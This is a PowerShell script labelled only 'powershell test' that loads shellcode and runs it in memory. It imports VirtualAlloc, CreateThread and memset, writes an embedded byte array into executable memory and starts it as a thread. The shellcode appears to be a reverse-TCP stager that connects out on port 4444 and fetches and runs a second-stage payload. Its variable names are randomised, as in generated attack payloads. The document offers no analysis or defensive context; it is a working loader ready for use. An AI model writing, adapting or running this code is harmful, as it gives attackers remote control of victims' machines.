powershell test

test.ps1

$zyqAahnuEUyaYz = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
"@

$fBOrMHPoZqdp = Add-Type -memberDefinition $zyqAahnuEUyaYz -Name "Win32" -namespace Win32Functions -passthru

[Byte[]] $LkwFSSeDmbJ = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31
$LkwFSSeDmbJ += 0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52
$LkwFSSeDmbJ += 0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff
$LkwFSSeDmbJ += 0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd
$LkwFSSeDmbJ += 0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b
$LkwFSSeDmbJ += 0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1
$LkwFSSeDmbJ += 0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3
$LkwFSSeDmbJ += 0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac
$LkwFSSeDmbJ += 0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3
$LkwFSSeDmbJ += 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58
$LkwFSSeDmbJ += 0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c
$LkwFSSeDmbJ += 0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24
$LkwFSSeDmbJ += 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f
$LkwFSSeDmbJ += 0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32
$LkwFSSeDmbJ += 0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c
$LkwFSSeDmbJ += 0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0
$LkwFSSeDmbJ += 0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff
$LkwFSSeDmbJ += 0xd5,0x6a,0xb,0x59,0x50,0xe2,0xfd,0x6a,0x1,0x6a
$LkwFSSeDmbJ += 0x2,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x68
$LkwFSSeDmbJ += 0x2,0x0,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57
$LkwFSSeDmbJ += 0x68,0xc2,0xdb,0x37,0x67,0xff,0xd5,0x85,0xc0,0x75
$LkwFSSeDmbJ += 0x58,0x57,0x68,0xb7,0xe9,0x38,0xff,0xff,0xd5,0x57
$LkwFSSeDmbJ += 0x68,0x74,0xec,0x3b,0xe1,0xff,0xd5,0x57,0x97,0x68
$LkwFSSeDmbJ += 0x75,0x6e,0x4d,0x61,0xff,0xd5,0x6a,0x0,0x6a,0x4
$LkwFSSeDmbJ += 0x56,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83
$LkwFSSeDmbJ += 0xf8,0x0,0x7e,0x2d,0x8b,0x36,0x6a,0x40,0x68,0x0
$LkwFSSeDmbJ += 0x10,0x0,0x0,0x56,0x6a,0x0,0x68,0x58,0xa4,0x53
$LkwFSSeDmbJ += 0xe5,0xff,0xd5,0x93,0x53,0x6a,0x0,0x56,0x53,0x57
$LkwFSSeDmbJ += 0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0
$LkwFSSeDmbJ += 0x7e,0x7,0x1,0xc3,0x29,0xc6,0x75,0xe9,0xc3


$iaYRAswSCR = $fBOrMHPoZqdp::VirtualAlloc(0,[Math]::Max($LkwFSSeDmbJ.Length,0x1000),0x3000,0x40)

for ($vvKZwgEcMJak=0;$vvKZwgEcMJak -le ($LkwFSSeDmbJ.Length-1);$vvKZwgEcMJak++) {
  $fBOrMHPoZqdp::memset([IntPtr]($iaYRAswSCR.ToInt32()+$vvKZwgEcMJak), $LkwFSSeDmbJ[$vvKZwgEcMJak], 1) | Out-Null
}

$fBOrMHPoZqdp::CreateThread(0,0,$iaYRAswSCR,0,0,0)